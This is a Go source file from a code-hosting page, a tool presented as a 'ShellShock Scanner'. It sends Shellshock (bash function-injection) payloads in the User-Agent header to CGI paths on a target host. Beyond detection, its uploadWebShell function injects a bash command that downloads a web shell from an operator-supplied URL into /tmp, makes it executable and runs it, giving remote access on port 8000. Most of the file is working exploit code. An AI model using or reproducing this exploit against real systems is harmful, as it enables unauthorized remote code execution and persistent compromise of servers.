-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscanner.go
More file actions
208 lines (145 loc) · 5.23 KB
/
scanner.go
File metadata and controls
208 lines (145 loc) · 5.23 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
package main
import (
"bufio"
"log"
"os"
"net/http"
"io/ioutil"
"strings"
"flag"
"fmt"
)
func usage() {
fmt.Println("ShellShock Scanner Tool")
fmt.Println("")
fmt.Println("Usage: ./scanner -t=target_host -d=dictionary_path")
fmt.Println(" -d --dictionary - path to dictionary of CGI usual paths")
fmt.Println(" -h --help - obtain thiis help")
fmt.Println(" -n --web_shell_name - if want to use a webshell, select the web_shell name that will be downloaded")
fmt.Println(" -p --cgi_paths - if you know where is the cgi, put here the path in the target")
fmt.Println(" -t --target_host - host ip to scanner")
fmt.Println(" -w --web_shell - use if you want to use a webshell when we exploit the vulnerability. Put an url to download")
fmt.Println("")
fmt.Println("")
fmt.Println("Examples:")
fmt.Println(" ./scanner -h")
fmt.Println(" ./scanner -t 192.168.56.101 -d='cgi_paths'")
fmt.Println(" ./scanner -t 192.168.56.101 -d='cgi_paths'")
fmt.Println(" ./scanner -t 192.168.56.101 -p='/cgi-bin/test_cgi'")
fmt.Println(" ./scanner -t 192.168.56.101 -d='cgi_paths' -w='http://192.168.56.1/Download/server' -n='server'")
fmt.Println("")
os.Exit(0)
}
func main() {
// ####################################################################################
// ############################ Flags Control #################################
// ####################################################################################
wantHelp := flag.Bool("h", false, "a bool")
argTarget := flag.String("t", "", "a string")
argDictPath := flag.String("d", "", "a string")
cgiPath := flag.String("p", "", "a string")
argWebShell := flag.String("w", "", "a string")
argWebShellName := flag.String("n", "", "a string")
flag.Parse()
if *wantHelp {
usage()
}
wantToUploadWebShell := false
if *argTarget == "" {
usage()
}
if *argDictPath == "" && *cgiPath == "" {
usage()
}
if *argDictPath != "" && *cgiPath != "" {
usage()
}
if (*argWebShell != "" && *argWebShellName == "") || (*argWebShell == "" && *argWebShellName != "") {
usage()
} else if *argWebShell != "" && *argWebShellName != "" {
wantToUploadWebShell = true
}
// ####################################################################################
// ######################## End of Flags Control ##############################
// ####################################################################################
url := "http://" + *argTarget
paths := []string{}
// If we have the dict flag, we need to read the file
log.Println("Starting scanner on " + url)
log.Println("")
if *argDictPath != "" {
if file, err := os.Open(*argDictPath); err == nil {
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
paths = append(paths, scanner.Text())
}
if err = scanner.Err(); err != nil {
log.Fatal(err)
}
} else {
log.Fatal(err)
}
for _ , val := range paths {
scannerThis(url + val, wantToUploadWebShell, *argWebShell, *argWebShellName, *argTarget)
}
} else {
// If not, lets go for the known path
scannerThis(url + *cgiPath, wantToUploadWebShell, *argWebShell, *argWebShellName, *argTarget)
}
}
func scannerThis(url string, wantToUploadWebShell bool, argWebShell string, argWebShellName string, argTarget string) {
// way to scanner if a host is vulnerable:
// 1 - send a request to see if they have a gci in the host (necessary to attack a remote shellshock)
// 2 - if the response code is 200, we need to send the first attack that will return the repsonse of the execution of a command
// 3 - if the server gives us the expected response, it is vulnerable
// 4 - upload web shell
scannerClient := &http.Client{}
scannerReq, err := http.NewRequest("GET", url, nil)
if err != nil {
panic(err)
}
scannerResp, err := scannerClient.Do(scannerReq)
if err != nil {
panic(err)
}
if scannerResp.StatusCode == 200 {
vulnWord := "vulnerable"
vulnClient := &http.Client{}
vulnReq, err := http.NewRequest("GET", url, nil)
if err != nil {
panic(err)
}
vulnReq.Header.Add("User-Agent","() { :;}; echo 'Content-Type: text/plain';echo;echo;/bin/echo " + vulnWord)
vulnResp, err := vulnClient.Do(vulnReq)
if err != nil {
panic(err)
}
defer vulnResp.Body.Close()
body, err := ioutil.ReadAll(vulnResp.Body)
if err != nil {
panic(err)
}
trimedBody := strings.TrimSpace(string(body))
if trimedBody == vulnWord {
log.Println(url, "is vulnerable to ShellSock")
}
if wantToUploadWebShell {
log.Println("Uploading web shell...")
log.Println("")
uploadWebShell(url, argWebShell, argWebShellName, argTarget)
}
}
}
func uploadWebShell(url string, argWebShell string, argWebShellName string, argTarget string) {
vulnClient := &http.Client{}
vulnReq, err := http.NewRequest("GET", url, nil)
if err != nil {
panic(err)
}
header := "() { :;}; /bin/bash -c 'wget " + argWebShell + " -P /tmp/; chmod 777 /tmp/" + argWebShellName + "; /tmp/" + argWebShellName + " > /dev/null'"
vulnReq.Header.Add("User-Agent", header)
log.Println("Server started. Go to http://" + argTarget + ":8000/ to access it. Remember to use the complete path to commands (eg: /bin/ls -la)")
log.Println("You can stop this app now...")
vulnClient.Do(vulnReq)
}